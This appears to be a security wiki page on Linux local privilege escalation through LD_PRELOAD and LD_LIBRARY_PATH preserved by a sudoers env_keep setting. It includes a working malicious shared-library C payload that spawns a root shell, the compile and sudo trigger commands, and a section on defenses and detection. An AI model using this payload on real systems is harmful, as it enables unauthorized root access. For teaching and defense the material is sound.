LD_PRELOAD and LD_LIBRARY_PATH Privilege Escalation

The Linux dynamic linker (ld.so / ld-linux.so) honors two environment variables that control how shared libraries are located and loaded — and when a privileged process (typically a sudo NOPASSWD command) preserves them, they hand the caller a code-injection primitive into a root-context process. This is one of the classic Linux local privesc paths because the misconfiguration is a single env_keep line in sudoers. 1 2

The two variables

  • LD_PRELOAD — a colon/space-separated list of shared objects the linker loads before everything else, including before the program’s own dependencies. Functions defined in a preloaded object override the same symbols in the real libraries. This is the cleaner primitive: any function the target calls (or its startup code) can be hijacked.
  • LD_LIBRARY_PATH — a list of directories searched before the default library paths when resolving DT_NEEDED dependencies. It doesn’t inject into arbitrary symbols; instead it lets you substitute a whole library by name — so the malicious object must present the same SONAME and the symbols the program actually uses.

The ld.so(8) man page documents both — including the critical caveat that the linker ignores these variables in secure-execution mode (SUID/SGID binaries). That is why the realistic attack surface is sudo, not SUID: sudo resets the environment by default but can be configured with env_keep += "LD_PRELOAD LD_LIBRARY_PATH", which passes the variables straight through to the root-spawned process. sudo -l lists both the permitted commands and any preserved environment variables — see sudo-nopasswd-recon.

Exploiting LD_PRELOAD

The canonical malicious library uses the _init() constructor so code runs the instant the object is loaded, before main():

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
 
void _init() {
    unsetenv("LD_PRELOAD");     /* don't leak into children */
    setresuid(0, 0, 0);
    system("/bin/bash -p");     /* -p: don't drop euid */
}

Compile as a position-independent shared object with no startup files:

gcc -fPIC -shared -nostartfiles \
    -o /tmp/malicious.so /tmp/malicious.c

Trigger it through any NOPASSWD sudo entry:

sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/any-permitted-program

_init() fires as root, setresuid(0,0,0) makes the privilege real, and bash -p yields a root shell. The unsetenv keeps child processes from re-injecting the library recursively.

Exploiting LD_LIBRARY_PATH

The same C code works as a starting point, but the delivery is different: instead of preloading, you name the malicious object after a library the target program links against, and point LD_LIBRARY_PATH at its directory. Use ldd to enumerate the target’s dependencies:

ldd /usr/bin/some-sudo-permitted-program
#     libfoo.so.1 => /usr/lib/libfoo.so.1 (...)

Pick a library (e.g. libfoo.so.1), compile the payload with that exact SONAME, and run:

sudo LD_LIBRARY_PATH=/tmp/evil /usr/bin/some-sudo-permitted-program

The catch is symbol coverage: the real library’s functions may be called at load time, lazily (via PLT), or not at all depending on execution path. If the program needs symbols your replacement doesn’t define, it crashes instead of escalating — so some trial-and-error in naming and in which functions to define is often required. Some programs also fail because their libraries depend on each other and load order matters.

Portability note: not every Unix-like system uses the name LD_LIBRARY_PATH — macOS uses DYLD_LIBRARY_PATH (and System Integrity Protection strips it for platform binaries), HP-UX historically used SHLIB_PATH, and AIX uses LIBPATH. The LD_PRELOAD equivalent on macOS is DYLD_INSERT_LIBRARIES. 3

Defenses

  • sudo env_reset (default) strips both variables; only explicit env_keep reintroduces them. Audit sudoers for env_keep += LD_PRELOAD / LD_LIBRARY_PATH.
  • Secure-execution mode in glibc ignores both variables for SUID/SGID binaries — but not for sudo-spawned root processes, which is why sudoers hygiene is the real control.
  • Mount user-writable directories (/tmp, /dev/shm) noexec,nosuid to complicate payload staging.
  • Detection: sudo command lines containing LD_PRELOAD=/LD_LIBRARY_PATH= (auditd / EID process creation), plus unexpected .so files in world-writable directories.

Comparison

LD_PRELOADLD_LIBRARY_PATH
MechanismInject object before all othersSubstitute a named library via search path
Symbol requirementAny one hijacked symbol (or _init)Must satisfy the program’s used symbols
ReliabilityHigh — constructor fires on loadFragile — naming and symbol coverage matter
Counterpart page

The standalone-binary cousin of this technique (compile a full executable that a SUID binary calls via a relative PATH) is documented in suid-shell-executable.

Sources

Related: sudo-nopasswd-recon, suid-shell-executable, unix-permissions, systemctl-suid-privesc

Footnotes

  1. ld.so(8) — dynamic linker/loader

  2. sudoers(5) — default sudo security policy plugin

  3. Shared Libraries — Program Library HOWTO